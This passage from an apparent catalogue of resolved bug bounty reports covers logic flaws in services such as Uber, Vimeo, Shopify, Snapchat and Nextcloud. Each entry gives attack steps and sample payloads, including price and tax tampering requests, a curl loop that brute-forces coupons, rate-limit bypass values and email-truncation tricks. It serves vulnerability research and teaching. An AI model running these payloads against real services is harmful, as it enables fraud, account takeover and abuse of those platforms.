- Observe whether the response reflects old-password-wrong vs new-password-invalid ordering
- Use the differential to enumerate/guess the old password during the session window (up to 7 days)
Insight — Check the ORDER of validations in sensitive flows: if the app validates the new value before authenticating the old secret, error differentials leak whether the old secret was correct. Same pattern applies to email/2FA change flows.
Real-world example
Bypass link-share password enforcement via federated re-share
◆ Low
Specimen #838510 · nextcloud · USD 250 · 8 votes · resolved
Program nextcloudSurface web
Root cause
With admin-forced passwords on link shares AND federated sharing enabled, using 'Add to your Nextcloud' to re-share a password-protected link creates a new link share with share_type 3 (link) instead of 6 (federated) and no password, silently dropping the enforced protection.
Method
- Admin enables 'enforce password on link shares'
- user1 creates a password-protected link share
- Open the link in another session, enter password, use 'Add to your Nextcloud' to another instance/user
- Back as user1 a new link share exists with no password though UI claims enforced; copy that link
Insight — When a resource can be re-shared/forwarded through a second code path (federation, copy, import), the security attributes (password, expiry, ACL) are often re-derived and can be lost. Diff the resulting object's type/flags against the original.
Real-world example
Silent extension auto-update escalates permissions without user re-consent
◆ Low
Specimen #199243 · brave · none · 3 votes · resolved
Program braveSurface desktopTag account-takeover
Root cause
Unlike Chrome, the browser's extension auto-updater applies an update that requests new/broader permissions without disabling the extension and prompting the user to re-consent, so a third-party extension can silently gain (e.g.) all-URLs or geolocation access.
Method
- Install the browser with a working extension auto-updater.
- Locally simulate an older version of an installed extension (rename version folder, lower version in manifest.json, remove a permission).
- Relaunch; the auto-updater fetches the newer version and re-enables it with the added permission with no consent prompt.
- Confirm the extension is left enabled with expanded permissions the user never approved.
Insight — When reviewing update mechanisms (browser extensions, mobile apps, plugins), check whether a permission delta on auto-update forces re-consent. Silent privilege growth on update is a design flaw exploitable once third-party updaters are trusted.
Real-world example
Payment method never re-validated after first add (cancel-card-still-buy)
◆ Low
Specimen #29234 · coinbase · awarded · 2 votes · resolved
Program coinbaseSurface web
Root cause
The system validates a credit card once at add-time and then trusts it indefinitely; it never re-checks whether the card is still active/valid before authorizing later instant-buy purchases, so a since-cancelled or since-invalid card still funds purchases (loss of funds when the backing transfer fails).
Method
- Add a credit card as the backup/instant-buy funding source and let it pass the one-time validation
- Cancel or invalidate the card at the bank (or use a card you know will later fail)
- Perform an instant-buy: purchase is authorized against the now-dead card
- The subsequent settlement/bank transfer fails, but goods/crypto were already delivered
Insight — On any pay-in / instant-purchase flow, test the trust window: validate a funding instrument once, then invalidate it out-of-band and see whether the app re-authorizes before spending. Systems often skip re-validation to save the per-check fee. Look for 'card only validated on add' logic and provisional-credit / instant-settlement features.
Real-world example
Verify arbitrary email by replaying signup flow response client-side
◆ Info
Specimen #574962 · x · 560 · 197 votes · resolved
Program xSurface webChain forge verified email on twitter -> login-with-twitter to Tag account-takeover
Root cause
The email-verification decision during signup is driven by the client-received onboarding task.json response; replaying/serving a saved 'already verified' response (via Fiddler AutoResponder) makes the client add and treat an arbitrary email as verified without inbox access.
Method
- Capture the onboarding task.json?flow_name=signup response from a normal signup
- Save it and configure Fiddler AutoResponder to serve it for that exact URL
- While logged into your own account, run signup with 'use email instead' and any target email
- The replayed response marks the email verified
Fiddler AutoResponder rule:
EXACT:https://api.twitter.com/1.1/onboarding/task.json?flow_name=signup -> saved_response.txt (UTF-8)
Insight — When a multi-step flow returns state that the client trusts to decide 'verified/authorized', that decision can be forged by intercepting/replaying the response. Test tampering with RESPONSES (not just requests) in onboarding/verification flows.
Real-world example
Verify any email you don't own via confirmation token leaked in the resend link
◆ Info
Specimen #229619 · shopify · awarded · 76 votes · resolved
Program shopifySurface webChain email verification bypassTag account-takeover
Root cause
The email-change flow embeds the confirmation token in the client-visible 'resend' URL; visiting the equivalent confirm URL with that token completes verification without ever accessing the target inbox.
Method
- Start an email change to an address you do not own
- Copy the resend link shown in the UI: /email-change/<TOKEN>/resend
- Request /email-change/<TOKEN>/ directly -> email is marked verified
GET https://accounts.shopify.com/email-change/<CONFIRMATION_TOKEN>/
Insight — When a verification token is exposed anywhere in the UI/response (resend link, API JSON), the out-of-band inbox check is defeated. Look for confirm tokens leaking via resend/cancel/status endpoints - a recurring email-verification-bypass pattern (cf. #1040047).
Real-world example
Rate-limit bypass by mutating the email param with %00
◆ Info
Specimen #170310 · security · awarded · 75 votes · resolved
Program securitySurface web
Root cause
The rate limiter keys on the exact email string, so appending %00 (or otherwise mutating a value that the backend still resolves to the same account) resets the counter and allows continued requests past the throttle.
Method
- Hit /users/password enough times to get 429 Too Many Requests
- Append %00 to the email value and resend
- Keep adding/varying %00 each time the limit trips to keep sending resets
POST /users/password
...&user%5Bemail%5D=victim@example.com%00
Insight — Rate limits that key on a normalizable input are bypassable by feeding cosmetically different but semantically equal values: trailing %00, case changes, extra dots, +tags, whitespace, alternate encodings. Test this on login, reset, OTP, and any throttled endpoint.
Real-world example
Brute-force promo/invite codes via response-length oracle (no rate limit)
◆ Info
Specimen #125505 · uber · USD 5000 · 35 votes · resolved
Program uberSurface web
Root cause
The apply-code endpoint has no captcha/rate limit and returns distinguishable responses for valid / invalid / expired codes, turning it into an oracle. Customizable codes share a known prefix (all start with 'uber'), shrinking the search space to a practical brute force.
Method
- Go to payment page, apply a promo/invite code, intercept the request
- Fuzz the code parameter (Intruder) with no throttling
- Distinguish outcomes by response length: 1951=valid, 1931=invalid, 1921=expired
- Constrain candidates to the known 'uber' prefix to cut search time
- Redeem a discovered valid code for a free ride
POST /apply-promo
applyCode=uberXXXXXX # 1951=valid, 1931=invalid, 1921=expired
Insight — Whenever a code/coupon/voucher endpoint lacks rate limiting, look for a differential-response oracle (length/status/timing) and any structural predictability (fixed prefix, sequential) to make brute force tractable.
Real-world example
Client-side-only paywall/feature gate bypass via DOM attribute edit
◆ Info
Specimen #594080 · infogram · none · 35 votes · resolved
Program infogramSurface web
Root cause
A premium feature is disabled purely in the front-end (an 'upgrade' overlay driven by a DOM attribute); removing the attribute enables the paid functionality because the server does not re-check entitlement when the feature is invoked.
Method
- Open the premium feature and observe the 'upgrade now' gate
- Inspect the element and delete the data-upgrade="true" attribute
- Invoke the feature; it now works without a paid plan
// remove client gate
document.querySelector('[data-upgrade="true"]').removeAttribute('data-upgrade')
Insight — Whenever a paid/privileged feature is only visually locked, strip the gating attribute/class or call the underlying action directly, then confirm the server actually honors it (no entitlement re-check = real bug).
Real-world example
Validation skipped on a 'trusted' code path persists after context invalidated
◆ Info
Specimen #2315026 · monero · none · 23 votes · resolved
Program moneroSurface otherTag webhook
Root cause
monerod adds a block's txs to the mempool with relay_method::block (which skips fee/extra-size AND input-validity checks); if the block is later found invalid the txs are retained, so completely invalid txs sit in the pool and are never pruned.
Method
- Sync a node so it believes it is synced
- Craft a block full of invalid txs and submit it via P2P
- Block is rejected but its txs stay in the tx-pool under relay_method::block
- Invalid txs are never pruned; pool fills with junk and can freeze the node
cargo run -r mainnet 127.0.0.1:18080
# repeatedly sends blocks full of invalid txs; block-method txs skip input check (tx_pool.cpp L274) and never pruned (L465)
Insight — When a system trusts data because of the *path* it arrived on ('came in a block, so validated'), check what happens if that trust is later revoked (block invalid). Skipped checks + retained state = poisoning/DoS.
Real-world example
Replay POST to bypass daily-limit and email-verification gates
◆ Info
Specimen #173043 · snapchat · awarded · 20 votes · resolved
Program snapchatSurface web
Root cause
The 'download my data' daily-request cap and the mandatory email-verification are enforced only at the page/UI layer; replaying the raw POST (with a valid current xsrf_token/cookie) regenerates a fresh export link every time, ignoring both gates.
Method
- Submit the data-export request once, capture the POST in Repeater
- Replay it repeatedly -> each replay mints a new download link + email (no daily cap)
- For the verification gate, swap in a fresh xsrf_token/cookie (grabbed from /accounts/unlock) and replay -> export succeeds despite 'verify email' message
POST /accounts/downloadmydata HTTP/1.1
Host: accounts.snapchat.com
Cookie: xsrf_token=...; sc-a-session=...
Content-Type: application/x-www-form-urlencoded
xsrf_token=<fresh-token>
Insight — Business gates enforced only on page render fall to raw request replay. When a token expires, refresh it from a sibling endpoint and continue. Test state-changing actions directly, bypassing the UI.
Real-world example
Inverted ternary operates on wrong allow-list (logic bug)
◆ Info
Specimen #3547349 · monero · none · 16 votes · resolved
Program moneroSurface otherTag account-takeover
Root cause
peerlist_manager::filter() uses an inverted ternary (white ? gray : white), so when asked to filter the white list it prunes the gray list instead; the whitelist is never trimmed, letting a single host accumulate unlimited whitelist entries via different ports.
Method
- Compare paired functions that take a boolean selector (filter vs foreach) for asymmetric ternary conditions.
- Confirm filter(white=true) touches m_peers_gray while foreach(white=true) touches m_peers_white.
- Add a unit test appending white peers for one host on many ports and assert the cap is not enforced.
// buggy: white=true selects the GRAY index
peers_indexed::index<by_addr>::type& sorted_index =
white ? m_peers_gray.get<by_addr>() : m_peers_white.get<by_addr>();
// correct sibling foreach(): white ? m_peers_white : m_peers_gray
Insight — In source audits, boolean-selector helpers are a hotspot for inverted-condition bugs; diff sibling functions that share a flag - a mismatched ternary silently disables allow/deny-list enforcement (here enabling peer-list flooding / eclipse-style abuse).
Real-world example
Email-domain allowlist bypass via VARCHAR truncation
◆ Info
Specimen #2224 · phabricator · USD 1000 · 15 votes · resolved
Program phabricatorSurface webTag account-takeover
Root cause
Registration validates the @allowed-domain suffix but stores email in VARCHAR(128) without a length check; a 128-char local part + @allowed-domain gets silently truncated by MySQL, dropping the domain and letting an outsider register while passing the allowlist.
Method
- Own attacker+<padding>@gmail.com (gmail + and any length works)
- Register with a 128-char address whose 128th char lands before @allowed-domain.com
- MySQL truncates at 128 chars, discarding @allowed-domain.com
- Verification email arrives at your gmail; account is created despite the domain restriction
attacker+aaaaaaa...(pad to 128 chars)...aaa@allowed-domain.com -> stored as attacker+aaaa...aaa (truncated at 128)
Insight — Data-store truncation is a validation bypass: when a check runs on the full value but storage silently truncates, pad input so the truncated form differs from the validated form (allowlist, uniqueness, path checks).
Real-world example
Removing the last admin breaks the at-least-one-admin invariant
◆ Info
Specimen #141629 · security · awarded · 15 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The group/permission edit endpoint does not enforce that at least one administrator remains; an admin can PUT a membership update that leaves the program with no admins.
Method
- Locate the group/role membership edit request (PUT /<team>/groups/<id>).
- Submit an update that removes the last remaining admin (or yourself as sole admin).
- Program ends up admin-free, an invalid/locked state.
PUT /sasas/groups/12307 HTTP/1.1
Content-Type: application/json
{"id":12307,"name":"Admin","permissions":["user_management","program_management"],"team_member_ids":[{"id":"17940"}]}
Insight — Test invariant-enforcement on role/membership edits: can you remove the last admin, demote all owners, or empty a required role? These logic gaps cause lockout/DoS or privilege confusion.
Real-world example
Username namespace collision with server resources at web root
◆ Info
Specimen #275 · security · none · 15 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Profiles are served directly under the web root (site.com/<username>) and registration only blacklist-filters names, so a username equal to a real server resource (robots.txt) is accepted, shadowing/breaking that path.
Method
- Find an app that serves user profiles at the web root (site.com/<name>)
- Register a username matching a server resource or route: robots.txt, admin, api, sitemap.xml, static, .well-known
- Observe the profile now occupies that path or the account becomes unusable
Register username: robots.txt -> https://TARGET/robots.txt now resolves to the profile
Insight — Whenever user-controlled names live in the root namespace, test reserved/route-colliding values. Collisions can shadow security files, break routing, or enable spoofing of trusted paths.
Real-world example
Username uniqueness bypass via trailing control character
◆ Info
Specimen #3227 · security · awarded · 14 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The signup uniqueness/validation check rejects an existing username plus %00 or %20 but accepts it with a control char like %0a; the account is created as a near-identical clone of an existing user.
Method
- Take a target's username and append a control character (e.g. %0a) via an intercepting proxy.
- Submit signup; validation passes and the account is created.
- Reports/actions from this account visually appear to originate from the impersonated user.
username=victimuser%0a # (%00 and %20 are rejected, %0a is not)
Insight — Uniqueness and normalization checks often disagree on control/whitespace/unicode chars. Fuzz identity fields (username, email) with %00, %0a, %0d, unicode spaces and confusables to find impersonation/collision bugs.
Real-world example
macOS Gatekeeper/quarantine bypass + shortcut-file local exec
◆ Info
Specimen #944025 · ibb · awarded · 13 votes · resolved
Program ibbSurface desktopChain quarantine bypass drop -> .fileloc/.url opens dropped filTag file-upload
Root cause
File-sharing apps wrote downloaded files without setting the com.apple.quarantine xattr (they didn't delegate download to the OS), so Gatekeeper's warning is skipped; separately, .url/.fileloc/.terminal shortcut files execute an arbitrary local file by full path when opened.
Method
- Deliver a file through an app (Slack/Telegram/WhatsApp/etc.) that saves without quarantine xattr
- File runs without the 'downloaded from internet' Gatekeeper prompt
- Escalate: deliver a .fileloc/.url/.terminal that points at a previously-dropped local payload path -> executes on open
# .fileloc / .url shortcut references a local path:
file:///Users/VICTIM/Downloads/payload.app
# check quarantine on a saved file:
xattr -p com.apple.quarantine ~/Downloads/file # absent == bypass
Insight — For desktop apps, verify downloaded/received files carry com.apple.quarantine (macOS) / MOTW Zone.Identifier (Windows). Shortcut/link file types (.url .fileloc .terminal .desktop) are code-exec primitives when combined with a drop.
Real-world example
Frontend-only validation bypass by forging request with a different resource ID
◆ Info
Specimen #159512 · security · $500 · 13 votes · resolved
Program securitySurface web
Root cause
A restriction (report too old to mediate) is enforced only in the frontend. The backend action endpoint applies different, weaker validation, so forging the request against the restricted resource's ID bypasses the gate.
Method
- Perform the allowed action on a valid resource to capture the backend request
- Replace the resource ID in the request path with the restricted resource's ID
- Submit; the backend processes the action despite the frontend blocking it
POST /reports/OLD_REPORT_ID/hacker_help HTTP/1.1
Host: hackerone.com
X-CSRF-Token: <valid>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
message=Example+Message&mediation_type=resolution
Insight — When the UI blocks an action based on a property (age, state, quota), take a working request from an allowed object and swap the ID to the disallowed one. Frontend/backend validation drift is a reliable logic-bypass primitive.
Real-world example
Mutating frozen mruby objects (missing modify guard)
◆ Info
Specimen #194866 · shopify-scripts · none · 12 votes · resolved
Program shopify-scriptsSurface other
Root cause
mruby Hash#delete/#clear (and Array#pop/#shift/#clear) omit the frozen-object check (mrb_hash_modify/ary_modify), so operations that should raise on a frozen object silently mutate it, breaking the immutability invariant sandboxes rely on.
Method
- Create an object and freeze it
- Call a mutating method that lacks the modify guard
- Object is modified with no FrozenError -> immutability guarantee broken
h = { "a" => 100, "b" => 200 }
h.freeze
h.delete("a") # mutates frozen hash
h.clear # empties frozen hash
a = [1,2,3,4,5].freeze
a.pop; a.shift; a.clear # all mutate frozen array
Insight — In interpreters/sandboxes (Shopify Scripts ran untrusted mruby), enumerate every mutating C method and verify each calls its frozen-check helper; missing guards let sandboxed code corrupt supposedly-immutable state.
Real-world example
SQL VARCHAR truncation bypasses email domain allowlist
◆ Info
Specimen #4795 · concretecms · none · 11 votes · resolved
Program concretecmsSurface webTag account-takeover
Root cause
The email column is VARCHAR(64) and length is enforced client-side only. Register with a long attacker-controlled local part followed by @allowed-domain.com; MySQL silently truncates the stored value past 64 chars, dropping the @allowed-domain.com suffix, while the verification mail is sent to the attacker's real (long) address. The account ends up 'belonging' to the allowed domain.
Method
- Craft an email whose attacker-owned part is padded so that appending @allowed-domain.com pushes total length past the column limit
- Bypass client-side length check via proxy (edit the request)
- Submit registration; DB truncates off the @allowed-domain.com tail on insert
- Receive the verification link at your real long address (Gmail + trick: attacker+aaaa...@gmail.com)
- Verify -> account associated with the privileged domain
# 64-char column; pad local part so the domain gets truncated away
attacker+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@gmail.com@allowed-domain.com
# stored (truncated to 64) still routes verification to attacker+...@gmail.com
Insight — When an app grants privileges based on email domain (auto-join org, trusted-domain features), probe for column truncation: submit over-long emails and diff what the app stores/emails vs what you sent. Gmail's '+tag' and dot-insensitivity make catching the verification mail trivial. Same class applies to usernames used for uniqueness/authz.
Real-world example
Username namespace collision with server resource paths
◆ Info
Specimen #477 · security · awarded · 11 votes · resolved
Program securitySurface web
Root cause
User profiles are served at the site root (/username) and registration does not reserve real resource paths, so a username like robots.txt shadows a real endpoint.
Method
- Register a username matching a known root resource (robots.txt, sitemap.xml, admin, api, .well-known)
- Observe the profile path (/robots.txt) collides with the real file
username = robots.txt -> profile at https://TARGET/robots.txt
Insight — Whenever user-controlled names share a namespace with static/system paths, test reserved names (robots.txt, favicon.ico, admin, api, well-known routes) for shadowing; fix is to namespace profiles under /users/<name>.
Real-world example
Server-side CAPTCHA response never validated
◆ Info
Specimen #54641 · snapchat · awarded · 9 votes · resolved
Program snapchatSurface apiChain captcha bypass -> mass automated submit -> spoofed venTag account-takeover
Root cause
The reCAPTCHA token (g-recaptcha-response header) is not verified on the server, so submissions succeed with any value or none, enabling unlimited automated submissions, spoofed emails sent from the vendor's address (attacker text via user_name/notes), and storage/quota DoS.
Method
- Submit the form once, capture the POST to the API endpoint
- Replace g-recaptcha-response with garbage or remove it entirely; request still succeeds
- Set user_email to the victim and inject social-engineering text into user_name/description so the outgoing email (from the trusted no_reply address) carries an attacker message
- Multi-thread the request for mass email / storage exhaustion (image_data not validated)
POST /_ah/api/geofilter/v1/submission HTTP/1.1
Host: geofilter-dot-feelinsonice-hrd.appspot.com
g-recaptcha-response: I_love_cats
Content-Type: application/json
{"image_data":"abcdefg","image_type":"PNG","user_name":"<attacker text/link>","user_email":"victim@x.com","notes":"lol","description":"lol","geofence_polygon":"[...]","is_event":false}
Insight — Always test CAPTCHA/anti-automation tokens for server-side validation: replay with a stale token, a junk value, and no header. If it still works, you get automation + (here) trusted-sender email spoofing via reflected input fields + storage DoS on unchecked blobs.
Real-world example
Enum/option tampering: backend accepts undocumented select value
◆ Info
Specimen #361189 · liberapay · none · 6 votes · resolved
Program liberapaySurface web
Root cause
A form's organization-type field validates against an incomplete allowlist; editing the client-side <option> value to an undocumented value from the underlying payment API (MangoPay 'Soletrader') is accepted by the backend, granting an unintended legal-type state.
Method
- Open the identity/organization form and inspect the type <select>.
- Change an option value to an undocumented backend-supported value (Soletrader).
- Submit; backend accepts it (success), while other unlisted values are rejected.
<option value="Soletrader">Entreprise</option> <!-- submitted instead of value="BUSINESS" -->
Insight — UIs expose a subset of the values the backend/third-party API actually accepts. Enumerate the underlying API's enum (docs) and try tampering the select value to reach unlisted states/features the app never intended to offer.
Real-world example
Purchase price tampering via client-supplied price parameter
◆ Info
Specimen #43602 · vimeo · awarded · 4 votes · resolved
Program vimeoSurface web
Root cause
The on-demand purchase POST includes the item price as a client-controlled parameter that the server trusts, so the buyer can lower the charge (e.g. to $0.1) before completing PayPal checkout.
Method
- Start a purchase and intercept the buy/checkout POST
- Locate the price field in the transaction items
- Set it to an arbitrary low value and forward; complete payment
POST /store/ondemand/buy/28167
...&vin_Transaction_transactionItems_0_price=0.1&...&action=purchase&paypal_credit=PayPal
Insight — Never trust price/amount/currency/quantity submitted from the client. In any checkout flow, hunt for the price in the request body and try lowering it (and negative values / quantity). Server must recompute price from the product id.
Real-world example
Storage-quota bypass via non-numeric length header (CVE-2017-0887)
◆ Info
Specimen #173622 · nextcloud · none · 4 votes · resolved
Program nextcloudSurface web
Root cause
The quota check compares declared upload size from the OC-Total-Length / X-Expected-Entity-Length header against remaining storage; supplying a non-numeric value ('A') makes the comparison evaluate as 0/NaN, so the check passes and the file is written despite an exhausted quota.
Method
- Trigger a WebDAV chunked PUT that normally returns 507 Insufficient Storage
- Change OC-Total-Length to a non-numeric value (e.g. 'A'), or add X-Expected-Entity-Length: A
- Resend; server returns 201 Created and stores the file, exceeding the quota
PUT /remote.php/webdav/a.jpg HTTP/1.1
Content-Type: application/octet-stream
OC-Async: 1
OC-Chunk-Size: 10000000
OC-Total-Length: A
# (or) X-Expected-Entity-Length: A
Insight — When a limit is enforced from a client-supplied size header, test non-numeric / negative / huge / empty values — weak parsing turns the declared size into 0 and skips the check. Applies to quota, upload-size, rate, and content-length guards.
Real-world example
Tax bypass via client-controlled taxClassification field
◆ Info
Specimen #49561 · vimeo · awarded · 3 votes · resolved
Program vimeoSurface web
Root cause
A pricing/tax attribute is sent from the client and trusted server-side; changing a taxClassification value to an exempt value removes tax from the charged total.
Method
- Intercept the purchase request and diff fields across products (e.g. on-demand vs subscription).
- Locate a tax attribute such as vin_Transaction_transactionItems_0_taxClassification set to 'OtherTaxable'.
- Change it to 'TaxExempt' and forward.
- Observe the PayPal/checkout summary now omits tax.
vin_Transaction_transactionItems_0_taxClassification=TaxExempt
Insight — Diff request bodies between different products/plans; any pricing, tax, currency, or discount attribute present in the client request is a candidate for tampering. The server must recompute tax/price from the product, never trust the client value.
Real-world example
SMS/call flooding via partially-validated composite token
◆ Info
Specimen #64963 · vkcom · awarded · 3 votes · resolved
Program vkcomSurface api
Root cause
A composite session id (2fa_$userId_$appId_$hash) is only partially validated; the server accepts any 2fa_$userId_$anyText and (re)sends an SMS/voice OTP, with no rate limit and even when 2FA is disabled.
Method
- Call auth.validatePhone with a sid of the form 2fa_<userId>_<arbitrary>.
- Server sends an SMS OTP to that user; add voice=1 to trigger a phone call.
- Repeat to flood the victim (cost/annoyance DoS).
https://api.vk.com/method/auth.validatePhone?sid=2fa_66748_anytext&voice=1
Insight — When a token has structure (prefix_userId_appId_hash), test whether every segment is actually validated. Partial validation of composite identifiers is common and enables unauthenticated triggering of costly side effects (SMS/voice, emails).
Real-world example
Buy-cheaper via unsigned price param + response tampering
◆ Info
Specimen #78219 · ok · awarded · 3 votes · resolved
Program okSurface webChain response tampering (price/isBought) -> unsigned st.appPri
Root cause
The purchase price is taken from a client-supplied parameter (st.appPrice) that is not part of the request signature and not re-validated server-side against the product; the item price is also read from a tamperable API response.
Method
- Intercept the item lookup response and change price (and isBought) via a proxy match/replace.
- Proceed to checkout; capture the payment-gateway URL.
- Edit st.appPrice in the gateway URL to an arbitrary low value and complete payment.
- Item is granted for the reduced price.
https://paymentnew.ok.ru/dk?st.cmd=richPayment&...&st.appCode=90920917758231&st.currency=OK&st.appPrice=1&st.callback=true&st.srv=22
Insight — For any paid flow, check whether the price appears in a client-controlled parameter that is NOT covered by the request signature/HMAC. Prices must be server-derived from the product id and included in the signed payload.
Real-world example
Coupon-code brute force on unrate-limited discounts API
◆ Info
Specimen #288846 · infogram · none · 3 votes · resolved
Program infogramSurface api
Root cause
A discounts/coupon-validation endpoint has no rate limiting and returns a boolean valid flag, allowing an attacker to brute-force the coupon keyspace and harvest working codes.
Method
- Discover the coupon-check endpoint (e.g. /api/discounts/<code>) via API fuzzing.
- Automate requests over the code charset with a proxy/Intruder or a script.
- Filter responses for "valid":true to collect usable coupons.
coupon=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 6 | head -n1)
curl -s -b 'Cookie:XXX' "https://infogram.com/api/discounts/$coupon" | grep '"valid":true'
Insight — Any endpoint that returns a distinguishable response for valid vs invalid short codes (coupons, gift cards, invite tokens) and lacks rate limiting is brute-forceable. Check for missing throttling on GET lookups, not just on login.
Real-world example
HTTP parameter pollution in Twitter web intent (duplicate screen_name)
◆ Info
Specimen #95243 · x · USD 280 · 1 votes · resolved
Program xSurface webTag account-takeover
Root cause
The intent/follow page renders one screen_name in the UI but acts on a later duplicate parameter, so the victim is shown a prompt to follow one account yet actually follows another when they click.
Method
- Build an intent URL with two screen_name params (display one, act on another)
- Victim sees the benign account and clicks Follow
- The last-value param wins server-side, following the attacker's account
https://twitter.com/intent/follow?screen_name=twitter&screen_name=ericrtest3&user_id=113483807
Insight — When the same param appears twice, front-end display and back-end action may resolve different values (first-vs-last-wins). HPP enables UI-redress/social-engineering: show trusted value, execute attacker value.
Real-world example
Surge/dynamic-price bypass via pickup-location swap on confirm screen
◆ Info
Specimen #125250 · uber · awarded · 45 votes · resolved
Program uberSurface mobile-androidTag account-takeover
Root cause
The fare was priced from the pickup location selected on the map screen, but the confirm screen allowed changing the pickup location afterward without re-pricing, so a user could obtain a non-surge quote for a spot in a surge zone.
Method
- Select pickup in a non-surge area and a destination; note the non-surge fare
- Return to map, then on the confirmation screen change pickup to the surge-zone location (same destination)
- The pre-decided (non-surge) fare is retained despite the surge zone
Insight — Whenever a price/quote is computed at step N from an input that a later step (N+1) lets you change without recomputation, you have a price-manipulation flaw. Test every multi-step checkout for stale-price reuse: change the price-determining field after the quote is locked.
Real-world example
Sensitive financial change without notification or re-auth (inconsistent controls)
◆ Info
Specimen #240083 · security · USD 500 · 35 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Two paths perform the same sensitive action (set payout method) but enforce different controls: the 'change payment method' path sends an email notice and requires password confirmation, while the 'add payout method' path does neither, letting an attacker silently redirect payouts.
Method
- Enumerate all endpoints that alter a security- or money-sensitive setting
- Compare controls across each path (email notification, password re-auth, MFA)
- Use the weaker/unguarded path (add payout method) that omits notification + re-auth
Insight — Map every route to the same sensitive change and diff their protections; the newest/alternate flow often lacks the notification and re-auth the primary flow has. Silent payout redirection = high real-world impact even if rated low.
Real-world example
Remove payment method mid-transaction to avoid the charge
◆ Info
Specimen #216373 · uber · none · 20 votes · resolved
Program uberSurface other
Root cause
Deleting the payment profile while a trip is actively in progress leaves that trip uncharged; the balance is only recovered (as arrears) when a new payment method is later added.
Method
- Start a billable transaction/trip
- Delete the payment profile before settlement while the transaction is active
- Trip completes without being charged (account goes into arrears until a card is re-added)
Insight — Attack the gap between 'service consumed' and 'payment settled'. Try mutating/removing the payment instrument, address, or plan during an in-flight transaction - many systems charge at settlement and fail open if the instrument vanished.
Real-world example
Reputation farming via duplicate report submissions
◆ Info
Specimen #35237 · security · USD 500 · 14 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Reputation/points are awarded when a report is marked duplicate; resubmitting the same already-known issue repeatedly grants points each time.
Method
- Identify an issue already reported (will be marked duplicate).
- Submit it multiple times; each duplicate awards reputation.
- Repeat to inflate reputation without new findings.
Insight — Any scoring/reward system that credits a non-unique or repeatable action (duplicate reports, repeated referrals, re-claims) is a logic-abuse target; look for missing idempotency/uniqueness on the reward trigger.
Real-world example
CAPTCHA token reuse + race to bypass retry limits
◆ Info
Specimen #67562 · vkcom · awarded · 14 votes · resolved
Program vkcomSurface webChain captcha reuse + retry-race -> unlimited brute forceTag account-takeover
Root cause
A CAPTCHA solution token is not invalidated after use, so a single solved CAPTCHA can be replayed for many requests; a race additionally bypasses the retry/attempt counter.
Method
- Solve one CAPTCHA and capture the token/answer.
- Replay the same CAPTCHA token across many requests to confirm it is not one-time.
- Send requests concurrently to bypass the per-attempt limiter.
Insight — CAPTCHA and OTP tokens must be single-use and server-invalidated on consumption. Test replay of a solved CAPTCHA, and race the verification endpoint to beat retry counters - a common brute-force enabler.
Real-world example
Change an unverified field after the verification gate (email spoof in request)
◆ Info
Specimen #874574 · shopify · awarded · 8 votes · resolved
Program shopifySurface web
Root cause
Email is validated before initiating a collaborator/management request, but changing it afterward is not re-validated, so the display shown to the approving party reflects an arbitrary unverified email (identity spoof / TOCTOU).
Method
- Verify email on the partner account and send a store-management request
- After the request is created, change the Business Email to an unverified value
- Shop owner reviewing the request sees the spoofed email and may approve
Insight — Whenever a value is verified at step 1 but reused as trust signal at step N, test mutating it between the two. Post-verification field changes that aren't re-checked let you spoof identity to the approver and can also expand data access after acceptance.
Real-world example
Password-reset link/token reusable to set password repeatedly
◆ Info
Specimen #243594 · weblate · none · 8 votes · resolved
Program weblateSurface web
Root cause
After a reset link is consumed and a new password set, the reset session/state is not invalidated: revisiting the reset page (clicking 'reset it' again) re-presents the password form and lets the user set the password again without a fresh emailed token, within a short window.
Method
- Request a password reset and use the emailed link to set a new password
- On the login page click 'reset it' again and submit email + captcha
- Instead of an email-sent notice, the password-reset form is shown again -> set another password; repeatable
Insight — Reset tokens must be single-use and the reset session invalidated immediately after a successful password change. Test: after completing a reset, re-enter the reset flow and see if the form is re-served without a new token. Fix pattern: expire the link on use, not on a timer.
Real-world example
Two accounts sharing one email via add-association-then-disconnect
◆ Info
Specimen #245304 · weblate · none · 8 votes · resolved
Program weblateSurface web
Root cause
Email uniqueness is enforced at registration but not across the social/third-party association flow: adding an email as a new association on one account and then disconnecting/changing it on the original leaves two accounts bound to the same email, breaking the one-email invariant (and causing login server errors).
Method
- Register two accounts, log in on separate browsers
- On account A add a third-party (Google) association using account B's email, supply password, add
- Disconnect the original email on A; A's email becomes B's -> two accounts, one email; logout/login then errors
Insight — Uniqueness invariants (email, username) enforced only at signup are often bypassable through secondary mutation paths: association add/remove, email-change, merge, SSO link. Enumerate every path that can set the identity field and test whether they re-check uniqueness.
Real-world example
Two accounts sharing one email via social-login email add/remove
◆ Info
Specimen #224072 · weblate · none · 7 votes · resolved
Program weblateSurface webTag oauthTag account-takeover
Root cause
Email uniqueness is enforced only at classic signup, not when an email is (re)attached through a social/OAuth provider, so the same address can be bound to two accounts by adding-then-removing it via the provider.
Method
- Register two accounts A and B on different emails.
- On A, use Google/GitHub social login to ADD a third email X, then delete A's original email leaving X.
- Repeat on B to also attach X (in a separate browser); revoke the app in the Google permissions page as needed to re-trigger the flow.
- Both accounts now resolve to email X; logging out/in surfaces the collision (Internal Server Error / login ambiguity).
Insight — When testing account/email management, verify uniqueness is re-checked on EVERY path that sets an email (social link, email-change, invite accept), not just first signup. Add/delete/re-add cycles through OAuth are a common way to smuggle a duplicate identity.
Real-world example
Email-verification gate bypassed with the back button
◆ Info
Specimen #57764 · coinbase · awarded · 7 votes · resolved
Program coinbaseSurface mobile-ios
Root cause
Mobile signup shows a 'verify your email' screen but the account is already usable; the verification screen is only a client-side gate, so navigating back and logging in grants full access without verifying the email.
Method
- Sign up with email + password in the mobile app
- On the 'please verify your email' screen, press Back to reach the login screen
- Log in with the just-created credentials -> access granted, verification never required
Insight — When a flow blocks you with a 'verify/confirm' screen, test whether the underlying account/session is already created and usable via back-navigation, direct login, or hitting the next endpoint directly. Verification is often UI-only.
Real-world example
Reward re-fires on repeated state transition (reputation/count inflation via self-duplicate)
◆ Info
Specimen #36211 · security · awarded · 7 votes · resolved
Program securitySurface web
Root cause
